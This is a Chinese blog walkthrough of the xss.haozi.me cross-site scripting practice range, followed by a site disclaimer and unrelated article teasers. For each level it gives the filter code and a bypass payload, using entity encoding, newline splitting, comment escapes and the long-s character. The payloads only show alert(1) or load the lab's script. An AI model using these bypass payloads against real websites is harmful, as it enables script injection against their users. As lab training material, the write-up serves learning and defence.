xss.haozi.me靶场练习

靶场地址alert(1)

1、第一关

输入在文本框里面,我们闭合前面的标签,中间的内容我们就可以随意写了

2、第二关

逃逸value的属性即可,这里使用点击事件触发xss

3、第三关

看代码,使用了正则表达式,去掉了所有的括号字符

/[()]/g是一个正则表达式,表示匹配字符串中包含的括号字符"()"。在正则表达式中,方括号[]表示字符集合,其中列出的字符表示需要匹配的字符。因此[()]表示匹配任何一个括号字符,即左括号"("或右括号")"。而后面的g标志表示全局匹配,即匹配整个字符串中的所有符合条件的部分,而不是只匹配第一个。

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

尝试编码绕过,但是因为在JavaScript里面不会解码,因此编码绕过失败

(1)a标签

我们使用a标签,里面使用编码却可以绕过,为啥?因为编码有顺序

在href里面,先是解析url编码,然后html实体编码,最后是JavaScript编码。所以在里面先被html实体编码解析过了,括号已经生成了

<a href="javascript:alert&#40;1&#41;">test</a>

(2)iframe标签

既然html在JavaScript前面,那么具有url编码的iframe标签也可以进行

<iframe src="javascript:alert&#40;1&#41;">test</iframe>

4、第四关

和上一关payload一样,只是增加了个反引号过滤罢了

5、第五关

让我们逃逸注释符

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}
--!><script>alert(1)</script>

上面这种可以闭合

6、第六关

源码过滤了以auto或on开头并且结尾是=的字符串,替换成_了,我们可以使用换行来分开这串字符串

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

payload

onclick
=alert(1)

7、第七关

源码过滤了html的常用标签符号,当我们尝试<>,就会过滤掉,因此绕过方法是使用单标签不完全闭合。

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}
<img src=x onerror="alert(1)"

8、第八关

正则过滤了</script>,和前面一关很像,直接换行过滤即可

</style
>
<script>alert(1)</script>
<style>

9、第九关

https://www.segmentfault.com"></script><script>alert(1)</script>//
https://www.segmentfault.com.haozi.me/j.js

10、0x0A

URL重定向

https://www.segmentfault.com.haozi.me/j.js

11、0x0B

源码将输入的转成大写了,JavaScript肯定不行了,但是HTML不区分大小写,符号和数字也不会,那就用编码呗

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}
<img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

12、0x0C

和上一关payload一样,编码绕过大写即可

13、0x0D

这一关过滤了< " '而且前面还有注释,我们使用换行绕过//,使用-->注释掉


alert(1)
-->

14、0x0E

源码将html的标签转换为以_开头,所有输入转为大写

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

特殊技巧用ſ字符可以替换s

<ſcript src="https://xss.haozi.me/j.js"></script>

15、0x0F

闭合括号就行

');alert('1

16、第十关

直接闭合前面的<script标签即可>

</script><script>alert(1)

17、第十一关

还是闭合加注释即可

");alert(1)//

18、第十二关

转义转义我们的转义符号

\");alert(1)//

Yes 结束!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/415150.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Apache POl

介绍 Apache POl是一个处理Miscrosoft Ofice各种文件格式的开源项目。简单来说就是&#xff0c;我们可以使用 POI 在 Java 程序中对Miscrosoft Office各种文件进行读写操作,一般情况下&#xff0c;POI都是用于操作 Excel 文件。 Apache POl 的应用场景 1.银行网银系统导出交易…

如何正确清除电脑的缓存垃圾?终于明白了!

前言 新的电脑总是好的&#xff0c;各种干净整洁无垃圾。 使用了一段时间之后&#xff0c;小伙伴们就会发现电脑C盘飙红了。然后就各种论坛查找清除电脑垃圾的方法。 电脑正常使用下&#xff0c;是会产生很多缓存的&#xff0c;所以C盘红了也很正常。除非电脑组装之后不开机&a…

如何做代币分析:以 TRX 币为例

作者&#xff1a;lesleyfootprint.network 编译&#xff1a;cicifootprint.network 数据源&#xff1a;TRX 代币仪表板 &#xff08;仅包括以太坊数据&#xff09; 在加密货币和数字资产领域&#xff0c;代币分析起着至关重要的作用。代币分析指的是深入研究与代币相关的数据…

量子算法入门—4.量子比特与量子门(1)

1.量子比特 经典比特和量子比特 经典比特只有0、1两种取值&#xff0c;非黑即白&#xff0c;有n位即 2 n 2^n 2n种可能量子比特使用0、1的量子态描述量子比特的状态&#xff0c;可以通过线性组合形成新的量子态&#xff0c;就像光谱可以调节成分 引入线代记法&#xff0c;0、…

java程序设计案例教程王希军,渣本二面阿里受挫

1 JVM的内存区域布局 java代码的执行步骤有三点 java源码文件->编译器->字节码文件字节码文件->JVM->机器码机器码->系统CPU执行 JVM执行的字节码需要用类加载来载入&#xff1b;字节码文件可以来自本地文件&#xff0c;可以在网络上获取&#xff0c;也可以实时…

【Go语言】Go语言中的切片

Go语言中的切片 1.切片的定义 Go语言中&#xff0c;切片是一个新的数据类型数据类型&#xff0c;与数组最大的区别在于&#xff0c;切片的类型中只有数据元素的类型&#xff0c;而没有长度&#xff1a; var slice []string []string{"a", "b", "c…

android应用开发基础知识,安卓面试2020

第一章&#xff1a;设计思想与代码质量优化 1、设计思想六大原则 2、三大设计模式 3、数据结构 4、算法 第二章&#xff1a;程序性能优化 1、启动速度和执行效率优化 2、布局检测与优化 3、内存优化 4、耗电优化 5、网络传输与数据存储优化 6、APK大小优化 7、屏幕适配 8、…

Sora - 真正单兵作战时代来临了

一、 OpenAI Sora 视频生成模型技术报告总结 不管是在视频的保真度、长度、稳定性、一致性、分辨率、文字理解等方面&#xff0c;Sora都做到了SOTA&#xff08;当前最优&#xff09;。 技术细节写得比较泛&#xff08;防止别人模仿&#xff09;大概就是用视觉块编码&#xff08…

通过QScrollArea寻找最后一个弹簧并且设置弹簧大小

项目原因&#xff0c;最近需要通过QScrollArea寻找其中最后一个弹簧并且设置大小和策略&#xff0c;因为无法直接调用UI指针&#xff0c;所以只能用代码寻找。 直接上代码&#xff1a; if (m_scrollArea){int iScrollWidth m_labelSelectedTitle->width();m_scrollArea-&g…

第三百七十二回

文章目录 1. 概念介绍2. 实现方法2.1 maskFilter2.2 shader 3. 代码与效果3.1 示例代码3.2 运行效果 4. 内容总结 我们在上一章回中介绍了"两种阴影效果"相关的内容&#xff0c;本章回中将介绍如何绘制阴影效果.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概…

Python爬虫实战第二例【二】

零.前言&#xff1a; 本文章借鉴&#xff1a;Python爬虫实战&#xff08;五&#xff09;&#xff1a;根据关键字爬取某度图片批量下载到本地&#xff08;附上完整源码&#xff09;_python爬虫下载图片-CSDN博客 大佬的文章里面有API的获取&#xff0c;在这里我就不赘述了。 一…

一文搞懂运放!

11.集成运放 集成电路是采用专门的制造工艺&#xff0c;在半导体单晶硅上&#xff0c;把晶体管、场效应管、二极管、电阻和电容等元器件以及它们之间的连线所组成的电路制作在一起&#xff0c;使其具有特定功能的芯片。 1.组成 集成运放由输入级、中间级、输出级和偏置电路四…

Python 深拷贝在接口自动化里的用法!

深拷贝&#xff08;deep copy&#xff09;常用于复制请求参数、配置对象或其他复杂数据结构&#xff0c;以确保每次发送请求时使用的是独立的数据副本&#xff0c;避免不同请求之间的数据互相影响。例如&#xff0c;当你需要多次调用同一个接口&#xff0c;但每次调用的参数略有…

关于静态应用程序安全测试(SAST)的自动修复(AutoFix)

SAST&#xff08;Static Application Security Testing&#xff0c;静态应用程序安全测试&#xff09;具是一种在软件工程中使用的安全解决方案&#xff0c;它主要用于在程序员编写好源代码后&#xff0c;无需经过编译器编译&#xff0c;直接对源代码进行扫描&#xff0c;以找出…

旋转齿轮加载

效果演示 实现了一个旋转齿轮的动画效果。具体来说&#xff0c;页面背景为深灰色&#xff0c;中间有一个齿轮装置&#xff0c;包括四个齿轮。每个齿轮都有内部的齿轮条&#xff0c;整体呈现出旋转的效果。其中&#xff0c;齿轮2是顺时针旋转的&#xff0c;齿轮1、3、4是逆时针旋…

如何开通微信小程序商城

微信小程序店铺是一种新型的线上商城&#xff0c;可以帮助商家快速搭建自己的线上销售平台&#xff0c;吸引更多的用户进行购买。作为小程序服务商&#xff0c;我们可以帮助商家开通微信小程序店铺&#xff0c;提升他们的线上销售业绩。 1. 进入采云小程序。进入采云小程序首页…

Python——Tchisla求解器(暴力搜索法)

Tchisla简介 最近玩到一个挺有意思的数字解密小游戏《Tchisla》&#xff0c;其规则类似算24点&#xff0c;也是利用一些数学运算和初始数字计算出目标数字&#xff0c;与算24点不同的是&#xff0c;Tchisla允许不限次数地使用一种初始数字&#xff08;1~9&#xff09;&#xf…

MySQL篇—持久化和非持久化统计信息介绍(第一篇,总共三篇)

☘️博主介绍☘️&#xff1a; ✨又是一天没白过&#xff0c;我是奈斯&#xff0c;DBA一名✨ ✌✌️擅长Oracle、MySQL、SQLserver、Linux&#xff0c;也在积极的扩展IT方向的其他知识面✌✌️ ❣️❣️❣️大佬们都喜欢静静的看文章&#xff0c;并且也会默默的点赞收藏加关注❣…

科技论文编写思路

科技论文编写思路 1.基本框架2.课题可行性评估1.研究目标和意义2.研究方法和技术3.可行性和可操作性4.风险和不确定性5.经济性和资源投入6.成果预期和评估 3.写作思路4.利用AI读论文5.实验流程 1.基本框架 IntroductionRelated worksMethodExperiment and analysisDiscussionC…

JavaScript作用域及预解析

文章目录 1. 作用域介绍2. 变量的作用域*3. JS中没有块级作用域4. 作用域链5. 预解析预解析案例 1. 作用域介绍 全局作用域局部作用域相同的变量名称在不同的作用域中是不会相互影响的&#xff01; 2. 变量的作用域 全局变量&#xff1a;在全局下都可以使用&#xff1b;局部变…